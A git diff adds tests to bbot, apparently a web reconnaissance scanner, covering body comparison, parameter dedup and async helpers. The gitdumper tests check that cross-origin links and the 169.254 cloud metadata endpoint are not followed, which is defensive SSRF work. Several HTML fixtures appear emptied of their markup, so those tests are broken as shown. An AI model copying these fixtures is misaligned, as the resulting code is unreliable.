# separate work items while their values do not + assert make_param(scan, f"{base}?page=admin").data_id != make_param(scan, f"{base}?action=delete").data_id + assert make_param(scan, f"{base}?page=admin").data_id == make_param(scan, f"{base}?page=login").data_id + + # a blank value is still a parameter + assert make_param(scan, f"{base}?debug=&id=6").data_id != make_param(scan, f"{base}?id=6").data_id + + # a different parameter, page, or parameter type is still its own work item + assert make_param(scan, base, name="subject").data_id != a.data_id + assert make_param(scan, "https://example.com/other").data_id != a.data_id + assert make_param(scan, base, param_type="GETPARAM").data_id != a.data_id + await scan._cleanup() + + # collapse=False (lightfuzz-max, lightfuzz-xss): sibling values are significant again + scan = Scanner("example.com", config={"url_querystring_remove": False, "url_querystring_collapse": False}) + await scan._prep() + c = make_param(scan, f"{base}?csrf=7f01d97aec3100c7&id=6") + assert make_param(scan, rotating_value).data_id != c.data_id + assert make_param(scan, rotating_name).data_id != c.data_id + assert make_param(scan, base).data_id != c.data_id + # ...but the key still does not depend on parameter ordering + assert make_param(scan, f"{base}?id=6&csrf=7f01d97aec3100c7").data_id == c.data_id + # a blank value is significant in the mode whose whole point is that values are + assert make_param(scan, f"{base}?debug=&id=6").data_id != make_param(scan, f"{base}?id=6").data_id + await scan._cleanup() diff --git a/bbot/test/test_step_1/test_gitdumper_safeguards.py b/bbot/test/test_step_1/test_gitdumper_safeguards.py index 0ba36e849f..ca79923bdc 100644 --- a/bbot/test/test_step_1/test_gitdumper_safeguards.py +++ b/bbot/test/test_step_1/test_gitdumper_safeguards.py @@ -6,6 +6,7 @@ """ import pytest +from unittest.mock import MagicMock from ..bbot_fixtures import * # noqa: F401, F403 @@ -139,3 +140,72 @@ async def fake_catfile(hash_, option="-t", folder=None): ) finally: await scan._cleanup() + + +@pytest.mark.asyncio +async def test_recursive_dir_list_rejects_cross_origin_folders(bbot_scanner, monkeypatch): + """Folder links pointing to a different origin must be skipped.""" + scan = bbot_scanner("evilcorp.com", modules=["gitdumper"]) + await scan._prep() + try: + gitdumper = scan.modules["gitdumper"] + requested_urls = [] + + async def tracking_request(url, **kwargs): + requested_urls.append(str(url)) + return None + + monkeypatch.setattr(gitdumper.helpers, "request", tracking_request) + + listing_html = """ + objects/ + steal/ + meta/ + HEAD + """ + + fake_response = MagicMock() + fake_response.url = "http://example.com/.git/" + fake_response.text = listing_html + fake_response.status_code = 200 + + await gitdumper.recursive_dir_list(fake_response) + + assert any("example.com/.git/objects/" in u for u in requested_urls), ( + "legitimate subdirectory was not followed" + ) + assert not any("evil.test" in u for u in requested_urls), "cross-origin folder link was followed" + assert not any("169.254" in u for u in requested_urls), "metadata endpoint was followed" + finally: + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_recursive_dir_list_caps_depth(bbot_scanner, monkeypatch): + """recursive_dir_list must stop at the configured max depth.""" + scan = bbot_scanner("evilcorp.com", modules=["gitdumper"]) + await scan._prep() + try: + gitdumper = scan.modules["gitdumper"] + depth_counter = [0] + + async def infinite_listing(url, **kwargs): + depth_counter[0] += 1 + resp = MagicMock() + resp.url = str(url) + resp.text = 'deeper/' + resp.status_code = 200 + return resp + + monkeypatch.setattr(gitdumper.helpers, "request", infinite_listing) + + fake_response = MagicMock() + fake_response.url = "http://example.com/.git/" + fake_response.text = 'level1/' + fake_response.status_code = 200 + + await gitdumper.recursive_dir_list(fake_response, _max_depth=5) + + assert depth_counter[0] <= 5, f"recursed {depth_counter[0]} levels, expected max 5" + finally: + await scan._cleanup() diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index d2a8505ba0..662f839b13 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -45,6 +45,18 @@ async def test_helpers_misc(helpers, scan, bbot_scanner, bbot_httpserver): with pytest.raises(ValueError): helpers.validators.clean_url("http://evilcorp,com") + # path parameters accumulate inside a path segment, and are keyed by name + assert helpers.max_path_param_repeats("http://evilcorp.com/;JSESSIONID=a") == 1 + assert helpers.max_path_param_repeats("http://evilcorp.com/;JSESSIONID=a;JSESSIONID=b;jsessionid=c") == 3 + assert helpers.max_path_param_repeats("http://evilcorp.com/app;a=1;b=2") == 1 + assert helpers.max_path_param_repeats("http://evilcorp.com/app;a=1/b;c=2") == 1 + # ordinary path segments are not parameters, however deep or repetitive the path + assert helpers.max_path_param_repeats("http://evilcorp.com/") == 0 + assert helpers.max_path_param_repeats("http://evilcorp.com/foo/bar") == 0 + assert helpers.max_path_param_repeats("http://evilcorp.com/" + "/".join(["a"] * 30)) == 0 + # the query string is not part of the path + assert helpers.max_path_param_repeats("http://evilcorp.com/foo?x=1&x=2&x=3") == 0 + assert helpers.url_depth("http://evilcorp.com/asdf/user/") == 2 assert helpers.url_depth("http://evilcorp.com/asdf/user") == 2 assert helpers.url_depth("http://evilcorp.com/asdf/") == 1 @@ -761,6 +773,23 @@ async def test_word_cloud(helpers, bbot_scanner): await scan1._cleanup() +def test_cpe_product(helpers): + assert helpers.cpe_product("cpe:/a:jquery:jquery:3.5.1") == "jquery" + assert helpers.cpe_product("cpe:/o:microsoft:windows") == "windows" + assert ( + helpers.cpe_product("cpe:/a:Microsoft:Internet_Information_Services:10.0") == "internet_information_services" + ) + assert helpers.cpe_product("cpe:2.3:a:apache:tomcat:9.0.50:*:*:*:*:*:*:*") == "tomcat" + # 2.3 escapes literal colons + assert helpers.cpe_product("cpe:2.3:a:vendor:foo\\:bar:1.0:*:*:*:*:*:*:*") == "foo:bar" + # no product + assert helpers.cpe_product("cpe:/a:vendor") is None + assert helpers.cpe_product("cpe:2.3:a:vendor:*:1.0:*:*:*:*:*:*:*") is None + assert helpers.cpe_product("cpe:2.3:a:vendor:-:1.0:*:*:*:*:*:*:*") is None + # not a CPE + assert helpers.cpe_product("nginx") is None + + def test_names(helpers): assert helpers.names == sorted(helpers.names) assert helpers.adjectives == sorted(helpers.adjectives) @@ -815,17 +844,108 @@ async def test_async_helpers(): import random from bbot.core.helpers.misc import as_completed + # sleeps are scaled down; wall time here is sum(sleeps)/max_concurrent, + # so full-second sleeps buy nothing but 25s of idling async def do_stuff(r): - await asyncio.sleep(r) + await asyncio.sleep(r / 100) return r random_ints = [random.random() for _ in range(1000)] tasks = [do_stuff(r) for r in random_ints] results = set() + completion_order = [] async for t in as_completed(tasks): - results.add(await t) + r = await t + results.add(r) + completion_order.append(r) assert len(results) == 1000 assert sorted(random_ints) == sorted(results) + # results must arrive as they finish, not in submission order + assert completion_order != random_ints + + # max_concurrent is an upper bound that actually gets saturated + for limit in (1, 5, 20, 50): + live = 0 + peak = 0 + + async def probe(r): + nonlocal live, peak + live += 1 + peak = max(peak, live) + try: + await asyncio.sleep(r / 100) + return r + finally: + live -= 1 + + vals = [random.random() for _ in range(200)] + completed = 0 + async for t in as_completed([probe(r) for r in vals], max_concurrent=limit): + await t + completed += 1 + assert completed == 200 + assert peak == limit + + # unlimited concurrency schedules everything at once + live = 0 + peak = 0 + + async def unlimited(i): + nonlocal live, peak + live += 1 + peak = max(peak, live) + try: + await asyncio.sleep(0) + return i + finally: + live -= 1 + + completed = 0 + async for t in as_completed([unlimited(i) for i in range(200)], max_concurrent=None): + await t + completed += 1 + assert completed == 200 + assert peak == 200 + + # a raising coroutine is still yielded, and does not abort the rest + async def boom(): + raise ValueError("boom") + + async def fine(i): + await asyncio.sleep(0) + return i + + yielded = [t async for t in as_completed([boom(), fine(1), boom(), fine(2)])] + assert len(yielded) == 4 + assert sum(1 for t in yielded if isinstance(t.exception(), ValueError)) == 2 + assert sorted(t.result() for t in yielded if t.exception() is None) == [1, 2] + + +@pytest.mark.asyncio +async def test_lane_queue(): + from bbot.core.helpers.async_helpers import LaneQueue + + # lower lanes are dequeued first, and each lane is FIFO + q = LaneQueue(lambda item: item[0]) + items = [(1, "a"), (0, "b"), (2, "c"), (0, "d"), (1, "e")] + for item in items: + q.put_nowait(item) + assert q.qsize() == len(items) + assert [q.get_nowait() for _ in items] == [(0, "b"), (0, "d"), (1, "a"), (1, "e"), (2, "c")] + assert q.empty() + + # items with equal lanes are never compared to each other + q = LaneQueue(lambda item: 0) + q.put_nowait({"unorderable": 1}) + q.put_nowait({"unorderable": 2}) + assert q.get_nowait() == {"unorderable": 1} + + # maxsize still applies backpressure + q = LaneQueue(lambda item: 0, maxsize=1) + q.put_nowait("a") + assert q.full() + with pytest.raises(asyncio.QueueFull): + q.put_nowait("b") def test_portparse(helpers): diff --git a/bbot/test/test_step_1/test_http_compare.py b/bbot/test/test_step_1/test_http_compare.py new file mode 100644 index 0000000000..22390a9d98 --- /dev/null +++ b/bbot/test/test_step_1/test_http_compare.py @@ -0,0 +1,499 @@ +""" +Tests for HTTP body comparison (``bbot.core.helpers.diff``). + +``HttpCompare`` answers one question: is this response body the same as the +baseline, ignoring the parts observed to be volatile? These tests pin down that +contract and the cost of answering it. + + - ``TestLineBodyComparison``: HTML/text bodies, compared as lines. + - ``TestXmlBodyComparison``: XML bodies, compared leaf-by-leaf by element path. + - ``TestComparisonCost``: the comparison stays linear, and body parsing stays + off the event loop. A body comparison holds the GIL for its whole duration, + so a superlinear one stalls every module in the scan, not just its caller. +""" + +import itertools +import json +import re +import time +from urllib.parse import urlparse + +import pytest +from blasthttp import Headers + +from bbot.core.helpers.diff import ( + MAX_STRUCTURED_BODY_SIZE, + MAX_STRUCTURED_LEAVES, + MAX_STRUCTURED_LINES, + HttpCompare, + _LineBody, + _StructuredBody, + parse_body, +) +from bbot.test.mock_blasthttp import MockResponse + +from ..bbot_fixtures import * # noqa: F401, F403 + +NAV = [f' ' for i in range(60)] + + +def render(*, path="/x", token="tok", ts="1000", rows=20, echo_rows=10, promos=0, injected=None, rowsalt="a"): + """A page whose volatile parts are a CSRF token, a timestamp, and the echoed request path.""" + lines = ["", "", "", f' '] + lines += [" Acme", "", "", f" "] + lines.append(f"

No such page: {path}

") + if injected: + lines.append(injected) + lines += [f'
Promo {j}
' for j in range(promos)] + lines += NAV + lines += [f'
  • {rowsalt} row {i}
  • ' for i in range(rows)] + lines += [f' related {i}' for i in range(echo_rows)] + return "\n".join(lines + ["
    © Acme
    ", "", ""]) + + +def compare_bodies(baseline_1, baseline_2, subject): + """Derive the volatile-content filter from two baseline samples, then compare a subject against it.""" + baseline_body, filters = HttpCompare._baseline_bodies(baseline_1, baseline_2) + comparer = HttpCompare.__new__(HttpCompare) + comparer.body_filters = filters + return comparer.compare_body(baseline_body, parse_body(subject)) + + +class TestLineBodyComparison: + def test_html_parses_as_lines(self): + # real-world HTML is not well-formed XML, so it lands on the line path + assert isinstance(parse_body(render()), _LineBody) + + def test_volatile_content_is_ignored(self): + """A catch-all host serving the same page with a new token/timestamp/path still matches.""" + baseline_1 = render(path="/aaaaaa/bbbb", token="t1", ts="100") + baseline_2 = render(path="/cccccc/dddd", token="t2", ts="200") + assert compare_bodies(baseline_1, baseline_2, render(path="/", token="t3", ts="300")) is True + + def test_identical_body_matches(self): + body = render(path="/aaaaaa", token="t1", ts="100") + assert compare_bodies(body, render(path="/cccccc", token="t2", ts="200"), body) is True + + @pytest.mark.parametrize( + "subject_kwargs,description", + [ + ({"injected": "
    SQL syntax error near unexpected token
    "}, "injected error line"), + ({"injected": "
    at com.acme.Handler(Handler.java:44)
    "}, "injected stack trace"), + ({"rowsalt": "z"}, "different row content"), + ({"rows": 40}, "extra rows"), + ({"rows": 5}, "missing rows"), + ({"promos": 4}, "extra block"), + ], + ) + def test_real_change_is_detected(self, subject_kwargs, description): + """Volatile-content filtering must not swallow an actual change to the page.""" + baseline_1 = render(path="/aaaaaa/bbbb", token="t1", ts="100") + baseline_2 = render(path="/cccccc/dddd", token="t2", ts="200") + subject = render(path="/", token="t3", ts="300", **subject_kwargs) + assert compare_bodies(baseline_1, baseline_2, subject) is False, f"failed to detect {description}" + + def test_stable_baseline_requires_exact_match(self): + """With no volatile content, nothing is filtered, so a single added line is a difference.""" + baseline = render(path="/same", token="tok", ts="1") + assert compare_bodies(baseline, baseline, baseline) is True + subject = render(path="/same", token="tok", ts="1", injected="
    hello
    ") + assert compare_bodies(baseline, baseline, subject) is False + + def test_comparison_is_order_insensitive(self): + """Lines are matched by content, not position, so a reordered body still matches.""" + baseline = "\n".join(["", "", "", "", ""]) + reordered = "\n".join(["", "", "", "", ""]) + assert compare_bodies(baseline, baseline, reordered) is True + + def test_empty_bodies(self): + assert compare_bodies("", "", "") is True + assert compare_bodies("", "", "something") is False + + @staticmethod + def repeated(nonce, changed=None): + """A page repeating one identical volatile line, optionally with one copy replaced.""" + rows = [f'' for _ in range(20)] + if changed is not None: + rows[changed] = "
    admin panel
    " + return "\n".join(["", *(f"

    static {i}

    " for i in range(10)), *rows, ""]) + + def test_repeated_volatile_line_filters_one_position(self): + """A volatile line repeated down the page must not hide a real change to one of its copies.""" + assert compare_bodies(self.repeated("a"), self.repeated("b"), self.repeated("c")) is True + assert compare_bodies(self.repeated("a"), self.repeated("b"), self.repeated("c", changed=7)) is False + + def test_change_to_first_copy_of_repeated_line_is_detected(self): + """Replacing the first copy moves the volatile line's first occurrence off the filtered position.""" + assert compare_bodies(self.repeated("a"), self.repeated("b"), self.repeated("c", changed=0)) is False + + +class TestRawTextComparison: + """``compare_body`` also takes raw response text, which is compared verbatim. + + lightfuzz's crypto submodule strips its own reflected probe values out of two + responses and then compares what's left, so it needs an exact comparison and + no volatile-content filtering. Raw text must not be treated as a sequence of + characters, which would make anagrams compare equal. + """ + + @staticmethod + def comparer(filters=None): + comparer = HttpCompare.__new__(HttpCompare) + comparer.body_filters = filters if filters is not None else set() + return comparer + + def test_identical_text_matches(self): + assert self.comparer().compare_body("invalid padding", "invalid padding") is True + + def test_differing_text_does_not_match(self): + assert self.comparer().compare_body("invalid padding", "decryption failed") is False + + def test_anagrams_do_not_match(self): + assert self.comparer().compare_body("abc", "cba") is False + + def test_single_character_difference_is_detected(self): + """Padding-oracle detection turns on differences this small.""" + assert self.comparer().compare_body("result: 0x41", "result: 0x42") is False + + def test_filters_do_not_apply_to_raw_text(self): + """A filter derived from a line-based baseline must not suppress a raw-text difference.""" + assert self.comparer(filters={0, 1, 2}).compare_body("invalid padding", "valid padding") is False + + +class TestXmlBodyComparison: + @staticmethod + def xml(*, token="tok", rows=20, changed=False): + rows_xml = "".join( + f"{'CHANGED' if changed and i == 5 else f'item {i}'}static-{i}" + for i in range(rows) + ) + return f"{token}{rows_xml}" + + def test_xml_parses_structurally(self): + assert isinstance(parse_body(self.xml()), _StructuredBody) + + def test_volatile_leaf_is_ignored(self): + assert compare_bodies(self.xml(token="a"), self.xml(token="b"), self.xml(token="c")) is True + + def test_real_element_change_is_detected(self): + subject = self.xml(token="c", changed=True) + assert compare_bodies(self.xml(token="a"), self.xml(token="b"), subject) is False + + def test_single_line_xml(self): + """XML is keyed by element path, so it compares correctly with no line breaks to split on. + + A line-oriented comparison would see the whole document as one volatile + line and consider every subsequent body a match. + """ + assert "\n" not in self.xml() + assert compare_bodies(self.xml(token="a"), self.xml(token="b"), self.xml(token="c")) is True + assert compare_bodies(self.xml(token="a"), self.xml(token="b"), self.xml(token="c", changed=True)) is False + + def test_xml_versus_non_xml_is_a_difference(self): + assert compare_bodies(self.xml(token="a"), self.xml(token="b"), render()) is False + + def test_multiline_xhtml_is_compared_as_lines(self): + """Well-formed XHTML parses as XML, but a many-line page compares fine as lines and costs far less to hold.""" + xhtml = "\n".join( + ["", *(f"

    row {i}

    " for i in range(MAX_STRUCTURED_LINES)), ""] + ) + assert isinstance(parse_body(xhtml), _LineBody) + + def test_samples_disagreeing_on_representation_fall_back_to_lines(self): + """If only one sample parses as XML, both are compared as lines rather than by structure.""" + baseline_body, _ = HttpCompare._baseline_bodies(self.xml(), render()) + assert isinstance(baseline_body, _LineBody) + + +class TestJsonBodyComparison: + """JSON APIs answer on a single line, so they need leaf-level comparison. + + Compared as lines, such a body is one line -- and if anything in it is + volatile, that single line is filtered and every subsequent body matches, + making the comparison useless for the modules that depend on it. + """ + + @staticmethod + def api(*, token="tok", rows=6, changed=False, extra=None): + body = { + "meta": {"csrf": token, "page": 1}, + "results": [ + {"id": i, "name": "CHANGED" if changed and i == 3 else f"item {i}", "tags": ["a", "b"]} + for i in range(rows) + ], + } + if extra is not None: + body["error"] = extra + return json.dumps(body) + + def test_json_parses_structurally(self): + assert isinstance(parse_body(self.api()), _StructuredBody) + + def test_json_is_served_on_one_line(self): + assert "\n" not in self.api() + + def test_volatile_field_is_ignored(self): + assert compare_bodies(self.api(token="a"), self.api(token="b"), self.api(token="c")) is True + + @pytest.mark.parametrize( + "subject_kwargs,description", + [ + ({"changed": True}, "changed value in a nested array"), + ({"extra": "stack trace"}, "added top-level key"), + ({"rows": 8}, "extra array elements"), + ({"rows": 2}, "missing array elements"), + ], + ) + def test_real_change_is_detected(self, subject_kwargs, description): + """The regression this guards: with a volatile field present, every one of + these previously compared as a match, so nothing was ever detected.""" + subject = self.api(token="c", **subject_kwargs) + assert compare_bodies(self.api(token="a"), self.api(token="b"), subject) is False, ( + f"failed to detect {description}" + ) + + def test_array_reordering_is_detected(self): + """Leaves are keyed by path, so JSON array order is significant.""" + forward = json.dumps({"items": [1, 2, 3]}) + reversed_ = json.dumps({"items": [3, 2, 1]}) + assert compare_bodies(forward, forward, reversed_) is False + + def test_bare_scalar_is_compared_as_lines(self): + """A scalar body flattens to a single leaf, which is no better than one line.""" + assert isinstance(parse_body("42"), _LineBody) + assert isinstance(parse_body('"just a string"'), _LineBody) + assert isinstance(parse_body("null"), _LineBody) + + def test_empty_containers_are_distinguished(self): + assert compare_bodies('{"a": {}}', '{"a": {}}', '{"a": []}') is False + assert compare_bodies('{"a": {}}', '{"a": {}}', '{"a": {"b": 1}}') is False + + def test_oversized_body_is_compared_as_lines(self): + """Flattening is bounded so a huge body can't pin a big leaf map to the baseline.""" + oversized = json.dumps({"padding": "x" * MAX_STRUCTURED_BODY_SIZE}) + assert len(oversized) > MAX_STRUCTURED_BODY_SIZE + assert isinstance(parse_body(oversized), _LineBody) + + def test_body_with_too_many_leaves_is_compared_as_lines(self): + """The leaf map is bounded by leaf count, not just text size, since dense JSON packs many leaves per byte.""" + dense = json.dumps(list(range(MAX_STRUCTURED_LEAVES + 1))) + assert len(dense) <= MAX_STRUCTURED_BODY_SIZE + assert isinstance(parse_body(dense), _LineBody) + assert isinstance(parse_body(json.dumps(list(range(MAX_STRUCTURED_LEAVES)))), _StructuredBody) + + def test_pretty_printed_json_is_compared_as_lines(self): + """One leaf per line already gives line comparison the granularity it needs.""" + pretty = json.loads(self.api()) + assert isinstance(parse_body(json.dumps(pretty, indent=2)), _LineBody) + baseline_1, baseline_2 = (json.dumps(json.loads(self.api(token=t)), indent=2) for t in "ab") + assert compare_bodies(baseline_1, baseline_2, json.dumps(json.loads(self.api(token="c")), indent=2)) is True + changed = json.dumps(json.loads(self.api(token="c", changed=True)), indent=2) + assert compare_bodies(baseline_1, baseline_2, changed) is False + + def test_malformed_json_is_compared_as_lines(self): + assert isinstance(parse_body('{"a": 1,,}'), _LineBody) + assert isinstance(parse_body("{unterminated"), _LineBody) + + def test_deeply_nested_json_does_not_raise(self): + """Untrusted bodies can be nested past the recursion limit; that must degrade, not crash.""" + nested = "[" * 5000 + "]" * 5000 + assert isinstance(parse_body(nested), _LineBody) + + +class TestHeaderComparison: + @staticmethod + def compare(headers_1, headers_2, ignore=()): + comparer = HttpCompare("http://example.com/", None) + comparer.baseline_ignore_headers = list(ignore) + return comparer.compare_headers(Headers(headers_1), Headers(headers_2)) + + def test_identical_headers_match(self): + assert self.compare([("Server", "nginx")], [("Server", "nginx")]) == [] + + def test_name_case_is_ignored(self): + assert self.compare([("Server", "nginx")], [("SERVER", "nginx")]) == [] + + @pytest.mark.parametrize( + "headers_2, expected", + [ + ([("Server", "apache")], ["server"]), + ([("Server", "nginx"), ("X-New", "1")], ["x-new"]), + ([], ["server"]), + ], + ids=["changed", "added", "removed"], + ) + def test_difference_is_reported(self, headers_2, expected): + assert self.compare([("Server", "nginx")], headers_2) == expected + + def test_repeated_header_compares_last_value(self): + assert self.compare([("Set-Cookie", "a=1"), ("Set-Cookie", "b=2")], [("Set-Cookie", "b=2")]) == [] + assert self.compare([("Set-Cookie", "a=1"), ("Set-Cookie", "b=2")], [("Set-Cookie", "a=1")]) == ["set-cookie"] + + def test_name_with_quote(self): + assert self.compare([("X-It's", "1")], [("X-It's", "2")]) == ["x-it's"] + + def test_ignored_headers_are_skipped(self): + assert ( + self.compare([("Date", "Mon"), ("Server", "a")], [("Date", "Tue"), ("Server", "a")], ignore=["date"]) == [] + ) + + +class TestBaselineIntegration: + """End-to-end coverage of the real baseline-then-compare flow over HTTP. + + The comparisons above are driven directly. These go through ``_baseline()`` + and ``compare()``, so response parsing, the executor hop, header comparison + and the diff-reason plumbing are all exercised together against a JSON API -- + the single-line body shape those modules see most often in practice. + """ + + @staticmethod + def json_api(escalated_paths=()): + """A JSON API with a volatile request id, served on a single line.""" + counter = itertools.count() + + def callback(request): + path = urlparse(str(request.url)).path + payload = { + "request_id": f"req-{next(counter)}", + "user": {"name": "alice", "role": "admin"}, + "items": [{"id": 1, "label": "one"}, {"id": 2, "label": "two"}], + } + if any(path.endswith(p) for p in escalated_paths): + payload["user"]["role"] = "superuser" + return MockResponse(status_code=200, text=json.dumps(payload)) + + return callback + + @pytest.mark.asyncio + async def test_json_api_filters_only_the_volatile_field(self, bbot_scanner, blasthttp_mock): + scan = bbot_scanner() + await scan._prep() + blasthttp_mock.add_callback(callback=self.json_api(escalated_paths=("/escalated",))) + + comparer = scan.helpers.http_compare("http://jsonapi.example.com/api") + await comparer._baseline() + + assert isinstance(comparer.baseline_body, _StructuredBody) + # exactly one leaf is volatile -- not the whole body + assert comparer.body_filters == {("request_id",)} + + match, reasons, _, _ = await comparer.compare("http://jsonapi.example.com/api") + assert match is True, f"volatile request_id should have been filtered, got {reasons}" + + match, reasons, _, _ = await comparer.compare("http://jsonapi.example.com/api/escalated") + assert match is False, "a changed nested field was not detected" + assert "body" in reasons, f"expected a body difference, got {reasons}" + + await scan._cleanup() + + @pytest.mark.asyncio + async def test_json_catchall_host_is_detected_as_wildcard(self, bbot_scanner, blasthttp_mock): + """Wildcard detection reaches the comparison from the web helper, on any scan.""" + scan = bbot_scanner() + await scan._prep() + blasthttp_mock.add_callback(callback=self.json_api()) + + result = await scan.helpers.web.is_http_wildcard_host("http", "catchall.example.com", 80) + + assert result not in (False, None), "JSON catch-all host was not detected as a wildcard responder" + assert isinstance(result.baseline_body, _StructuredBody) + + await scan._cleanup() + + @pytest.mark.asyncio + async def test_json_host_distinguishing_paths_is_not_a_wildcard(self, bbot_scanner, blasthttp_mock): + """The root serves a different payload than the random probe paths, so this host is real.""" + scan = bbot_scanner() + await scan._prep() + blasthttp_mock.add_callback(callback=self.json_api(escalated_paths=("/",))) + + result = await scan.helpers.web.is_http_wildcard_host("http", "realsite.example.com", 80) + + assert result is False, f"host distinguishes responses by path but was reported as {result!r}" + + await scan._cleanup() + + +class TestComparisonCost: + @staticmethod + def echo_page(boilerplate_lines, echoed_lines, path): + """A large catch-all page that echoes the request path into many otherwise-identical lines. + + This is the shape that stalls: the differing lines are numerous but each + is nearly identical to its counterpart, which is the worst case for + similarity-based diff pairing. + """ + lines = ["", "", "", "", ""] + lines += [ + f'
    ' for i in range(boilerplate_lines) + ] + lines += [ + f'
  • related item {i}
  • ' + for i in range(echoed_lines) + ] + return "\n".join(lines + ["", ""]) + + def test_large_similar_bodies_compare_quickly(self): + """An 8000-line catch-all page must not take minutes to compare. + + Similarity-based diff pairing is quadratic in the number of differing + lines: this shape measured ~64s, and doubling it reached ~260s. The bound + below is deliberately loose -- it is here to catch a return to + superlinear cost, not to police small regressions. + """ + baseline_1 = self.echo_page(6400, 1600, "/aaaaaaaaaaaa/bbbbbbbb") + baseline_2 = self.echo_page(6400, 1600, "/cccccccccccc/dddddddd") + subject = self.echo_page(6400, 1600, "/") + + started = time.monotonic() + result = compare_bodies(baseline_1, baseline_2, subject) + elapsed = time.monotonic() - started + + # same page, only the echoed path differs -- this host answers everything alike + assert result is True + assert elapsed < 10, f"comparison of an 8000-line body took {elapsed:.1f}s" + + def test_cost_scales_linearly(self): + """Doubling the body must not quadruple the work.""" + + def timed(boilerplate, echoed): + pages = [self.echo_page(boilerplate, echoed, p) for p in ("/aaaaaaaa/bbbb", "/cccccccc/dddd", "/")] + started = time.monotonic() + compare_bodies(*pages) + return time.monotonic() - started + + timed(400, 100) # warm up, so import/allocation costs don't skew the ratio + small = min(timed(1600, 400) for _ in range(3)) + large = min(timed(6400, 1600) for _ in range(3)) + + # 4x the input. Linear would be ~4x; the quadratic behaviour was ~16x. + assert large < small * 8, f"4x the body took {large / small:.1f}x the time ({small:.3f}s -> {large:.3f}s)" + + @pytest.mark.asyncio + async def test_baseline_body_parsing_runs_off_the_event_loop(self, bbot_scanner, blasthttp_mock): + """Parsing and diffing two full bodies is CPU-bound; it must not run on the event loop. + + A comparison holds the GIL for its whole duration, so doing it inline + stalls every module in the scan. + """ + scan = bbot_scanner() + await scan._prep() + blasthttp_mock.add_response(url=re.compile(r"http://cost\.example\.com.*"), text=render()) + + executor_calls = [] + original = scan.helpers.run_in_executor_cpu + + def recording_executor(callback, *args, **kwargs): + executor_calls.append(getattr(callback, "__name__", repr(callback))) + return original(callback, *args, **kwargs) + + scan.helpers.run_in_executor_cpu = recording_executor + + comparer = scan.helpers.http_compare("http://cost.example.com") + await comparer._baseline() + + assert "_baseline_bodies" in executor_calls, f"baseline parsing ran on the event loop: {executor_calls}" + assert isinstance(comparer.baseline_body, _LineBody) + + await scan._cleanup() diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 66d80773bf..7a4b61e472 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -129,8 +129,6 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) if scan_callback is not None: scan_callback(scan) output_events = [e async for e in scan.async_start()] - # let modules initialize - await asyncio.sleep(0.5) return (output_events, dummy_module.events, dummy_module_nodupes.events, dummy_graph_output_module.events, dummy_graph_batch_output_module.events) dns_mock_chain = { diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 60e4080714..8d9b212f8a 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -118,6 +118,42 @@ async def test_modules_basic_checks(events, blasthttp_mock): assert result is True assert reason == "event is always emitted" + # special URL extensions (.js) are withheld from modules that don't opt in. + # HTTP_RESPONSE is exempt: its body is already retrieved, so consumers analyze + # content rather than deciding whether to fetch. BaseModule defaults to + # accept_url_special = False. + special_module = BaseModule(scan) + special_module._watched_events = None + special_module.watched_events = ["*"] + js_url = scan.make_event("http://127.0.0.1/app.js", "URL_UNVERIFIED", parent=scan.root_event) + assert js_url.url_extension == "js" + result, reason = special_module._event_precheck(js_url) + assert result is False + assert "special URL extension" in reason + js_response = scan.make_event( + {"url": "http://127.0.0.1/app.js", "method": "GET", "raw_header": "HTTP/1.1 200 OK\r\n\r\n"}, + "HTTP_RESPONSE", + parent=scan.root_event, + ) + assert js_response.url_extension == "js" + result, reason = special_module._event_precheck(js_response) + assert result is True, reason + + # blacklisted extensions are rejected outright at ingress, HTTP_RESPONSE included. + # no module emits one with a blacklisted extension today, so this pins the intended + # semantics rather than behavior anything currently depends on + css_url = scan.make_event("http://127.0.0.1/style.css", "URL_UNVERIFIED", parent=scan.root_event) + # compared as a tuple: handle_event returns None when it accepts, so an + # exemption shows up as a clean mismatch rather than an unpack error + assert await scan.ingress_module.handle_event(css_url) == (False, "event is blacklisted") + css_response = scan.make_event( + {"url": "http://127.0.0.1/style.css", "method": "GET", "raw_header": "HTTP/1.1 200 OK\r\n\r\n"}, + "HTTP_RESPONSE", + parent=scan.root_event, + ) + assert css_response.url_extension == "css" + assert await scan.ingress_module.handle_event(css_response) == (False, "event is blacklisted") + # common event filtering tests for module_class in (BaseModule, BaseOutputModule, BaseReportModule, BaseInternalModule): base_module = module_class(scan) @@ -163,7 +199,7 @@ async def test_modules_basic_checks(events, blasthttp_mock): assert "wordlist" in all_preloaded["dnsbrute"]["config"] assert type(all_preloaded["dnsbrute"]["config"]["max_depth"]) == int assert all_preloaded["baddns"]["deps"]["pip"] - assert all_preloaded["dnsbrute"]["deps"]["common"] + assert all_preloaded["portscan"]["deps"]["common"] assert all_preloaded["gowitness"]["deps"]["ansible"] all_flags = set() @@ -346,35 +382,45 @@ async def test_modules_basic_perdomainonly(bbot_scanner, monkeypatch): ) await per_domain_scan._prep() - await per_domain_scan.setup_modules() await per_domain_scan._set_status("RUNNING") - # ensure that multiple events to the same "host" (schema + host) are blocked and check the per host tracker - + # ensure that a second event under an already-seen domain is deduped away + per_domain_seen = [] for module_name, module in sorted(per_domain_scan.modules.items()): monkeypatch.setattr(module, "filter_event", BaseModule(per_domain_scan).filter_event) - if "URL" in module.watched_events: - url_1 = per_domain_scan.make_event( - "http://www.evilcorp.com/1", event_type="URL", parent=per_domain_scan.root_event, tags=["status-200"] - ) - url_1.scope_distance = 0 - url_2 = per_domain_scan.make_event( - "http://mail.evilcorp.com/2", event_type="URL", parent=per_domain_scan.root_event, tags=["status-200"] - ) - url_2.scope_distance = 0 - valid_1, reason_1 = await module._event_postcheck(url_1) - valid_2, reason_2 = await module._event_postcheck(url_2) + # every per_domain_only module watches DNS_NAME, so probing URL-only never + # reached the branch below + if "DNS_NAME" in module.watched_events: + event_type, host_1, host_2 = "DNS_NAME", "www.evilcorp.com", 